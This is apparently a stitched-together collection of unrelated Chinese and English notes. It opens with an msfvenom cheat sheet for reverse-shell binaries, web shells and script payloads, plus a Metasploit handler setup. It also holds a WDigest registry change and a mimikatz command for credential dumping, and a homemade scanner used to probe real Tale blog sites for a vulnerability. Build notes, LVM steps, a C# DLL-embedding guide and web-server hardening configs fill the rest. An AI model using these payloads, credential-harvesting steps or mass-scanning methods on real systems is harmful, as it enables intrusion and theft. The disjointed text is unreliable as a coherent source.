List payloads
msfvenom -l
Binaries
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho
Web Payloads
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php
cat shell.php | pbcopy && echo ‘<?php ‘ | tr -d ‘\n’ > shell.php && pbpaste >> shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war
Scripting Payloads
Python
msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl
Shellcode
For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.
Linux Based Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f
Windows Based Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f
Mac Based Shellcode
msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f
Handlers
Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.
use exploit/multi/handler
set PAYLOAD
set LHOST
set LPORT
set ExitOnSession false
exploit -j -z
Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘

(reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1)
对应操作系统使用32或64位程序、
privilege::debug

masscan地址:https://github.com/robertdavidgraham/masscan/

下载包后进入masscan-master中
安装MinGW,(Minimalist GNUfor Windows的缩写)
将MinGW的bin加入path
运行mingw32-make
发现出现错误,找不到stdio.h
打开MakeFile
如下位置加入黑体部分
DEFINES =
CFLAGS = -g -ggdb $(FLAGS2) $(INCLUDES) $(DEFINES) -Wall -O3 ** –target=i686-pc-mingw32 **
#CFLAGS = -g -ggdb -march=i686 -Ivs10/include $(DEFINES) -Wall -O3
.SUFFIXES: .c .cpp
继续编译报错找不到pthread.h
下载pthread,在include中复制pthread.h到mingw目录中的include下
继续编译会报错找不到xxx@16之类的,在makefile中link阶段最后加入 -lws2_32 -liphlpapi
ws2_32 是winsock32,iphlpapi提供了一些非常实用的获取网络信息
https://msdn.microsoft.com/en-us/library/ms923804.aspx

虚拟机先增加空间

fdisk /dev/sda 操作 /dev/sda 的分区表
p 查看已分区数量(我看到有两个 /dev/sda1 /dev/sda2)
n 新增加一个分区
p 分区类型我们选择为主分区
分区号选3(因为1,2已经用过了,见上)
回车 默认(起始扇区)
回车 默认(结束扇区)
t 修改分区类型
选分区3
8e 修改为LVM(8e就是LVM)
w 写分区表
q 完成,退出fdisk命令
重启
mkfs.ext3 /dev/sda3
三、添加新LVM到已有的LVM组,实现扩容
lvm 进入lvm管理
lvm> pvcreate /dev/sda3 这是初始化刚才的分区,必须的
lvm> vgextend debian-vg /dev/sda3 将初始化过的分区加入到虚拟卷组
lvm>lvextend -L +29.9G /dev/debian-vg/root 扩展已有卷的容量
lvm>pvdisplay 查看卷容量,这时你会看到一个很大的卷了
lvm>quit 退出
以上只是卷扩容了,下面是文件系统的真正扩容,输入以下命令:
resize2fs /dev/debian-vg/root
重启

花了一天的时间造的轮子,用Java写的

github地址ScanFramwork-Java

由三个大类组成,支持导出结果到文件/批量多线程扫描/自定义正则匹配结果/文本数据包直接解析发送(与burp拦截格式和sqlmap -r格式相同)
盲注类-p sleep和自动插入后门backdoor保留,暂未实现

用法:

这里使用上次挖出的Tale博客系统漏洞来测试,
设置post.txt为模板

GET /admin HTTP/1.1
Host: tale.biezhi.me
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://tale.biezhi.me/admin
Cookie: S_L_ID=3OCjFvU8Cps0UR
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

这里的Host程序会自动换成需要测的地址,其他的作为模板不变

通过某些方式(如百度api)获得一些使用tale搭建的网站域名,保存在targets.txt中

如果返回含有“/admin/profile”字符串则说明成功利用漏洞,这里设置-p “match:./admin/profile.“,match:表示匹配后面的正则表达式pattern。

设定输出为res.txt

执行命令:
java -jar .\ScanFramwork.jar -o res.txt -p "match:.*/admin/profile.*" -t targets.txt -r
post.txt

(en。。判断必要参数好像有点问题,不管了)

成功检测到了其中三个有此漏洞的系统。
输出结果在res.txt中

一、将dll文件加入工程

1.找到dll文件

可以在项目的“引用”下找到dll,并且根据属性中的“路径”找到文件所在目录;也可以使用bin目录下自动生成(其实就是复制)的dll文件 
这里写图片描述 
这里需要注意,“引用”下的dll,需要设置“复制本地”为False,这样在bin目录下生成exe的时候就不会顺便复制dll了(感觉这步可要可不要)。

2.加入工程

可以对着项目(我的即“ShadowSuHelper”)右键->添加->现有项;或者更简单的,复制1中找到的dll,直接在工程中粘贴 
这里写图片描述 
加入dll后,工程结构如上图,引用中的还需要保留(否则代码编译不通过);此外.dll文件也是必须的(运行时需要调用)。最后,别忘了对刚加入的两个dll属性中“生成操作”改为“嵌入的资源”,这样生成的exe就会嵌入这两个dll,体积显著增大,哈哈。

二、添加AssemblyResolve处理函数

添加了AssemblyResolve的处理函数后,当调用dll找不到时,就会回调该函数,我们只需要在这个函数中,将嵌入exe的dll获取并解析返回即可。这个事件必须在调用dll之前添加,否则就没用了,这里我们选择在Program.cs的Main()方法中设置。 
首先引入命名空间 
using System.Reflection; 
然后在Main方法开头加入 
AppDomain.CurrentDomain.AssemblyResolve += CurrentDomain_AssemblyResolve;
其中的CurrentDomain_AssemblyResolve就是我们的回调函数了,完整代码如下:

复制代码
static void Main()
{
    AppDomain.CurrentDomain.AssemblyResolve += CurrentDomain_AssemblyResolve;

    Application.EnableVisualStyles();
    Application.SetCompatibleTextRenderingDefault(false);
    Application.Run(new Form1());
}

private static Assembly CurrentDomain_AssemblyResolve(object sender, ResolveEventArgs args)
{
    string resourceName = "ShadowSuHelper." + new AssemblyName(args.Name).Name + ".dll";
    using (var stream = Assembly.GetExecutingAssembly().GetManifestResourceStream(resourceName))
    {
        byte[] assemblyData = new byte[stream.Length];
        stream.Read(assemblyData, 0, assemblyData.Length);
        return Assembly.Load(assemblyData);
    }
}
复制代码

可以在CurrentDomain_AssemblyResolve中设置断点查看,会发现当程序中首次调用到HtmlAgilityPack.dll或者Newtonsoft.Json.dll的方法时会回调该函数,并且不会再报找不到dll的错误了。

一、Apache
使用Apache的重写规则来禁用Options方法和Trace方法
在Apache配置文件httpd-conf中【vhosts-conf】添加以下代码:

单独禁用Trace方法:

RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
RewriteRule .* - [F]

单独禁用Options方法:

RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^(OPTIONS)
RewriteRule .* - [F]

同时禁用Trace方法和Options方法

RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK|OPTIONS)
RewriteRule .* - [F]
<VirtualHost *:80>
    DocumentRoot "D:\wwwroot"
    ServerName www.abc.com
    ServerAlias abc.com
  <Directory "D:\wwwroot">
      Options FollowSymLinks ExecCGI
      AllowOverride All
      Order allow,deny
      Allow from all
      Require all granted
      RewriteEngine on
      RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK|OPTIONS)
      RewriteRule .* - [F]
  </Directory>
</VirtualHost>

二、Nginx
在你要屏蔽的虚拟主机的server段里加入下面代码:

if ($request_method !~* GET|POST) {
            return 403;
        }

重启nginx,这样就屏蔽GET、POST、之外的HTTP方法

三、Tomcat
web.xml(url下禁用的请求方式)

<security-constraint>  
        <web-resource-collection>  
            <url-pattern>/*</url-pattern>  
            <http-method>PUT</http-method>  
            <http-method>DELETE</http-method>  
            <http-method>HEAD</http-method>  
            <http-method>OPTIONS</http-method>  
            <http-method>TRACE</http-method>  
        </web-resource-collection>  
        <auth-constraint>  
        </auth-constraint>  
    </security-constraint>  

四、IIS
1、禁用WebDAV功能
2、web.config
在<configuration>节点下添加如下代码:

<system.webServer>    <security>      <requestFiltering>        <verbs allowUnlisted="false">          <add verb="GET" allowed="true"/>          <add verb="POST" allowed="true"/>          <add verb="HEAD" allowed="true"/>        </verbs>      </requestFiltering>    </security></system.webServer>

以上代码只允许开启GET、POST和HEAD方法
3、IIS 里面有个请求筛选,hTTP谓词 OPTIONS False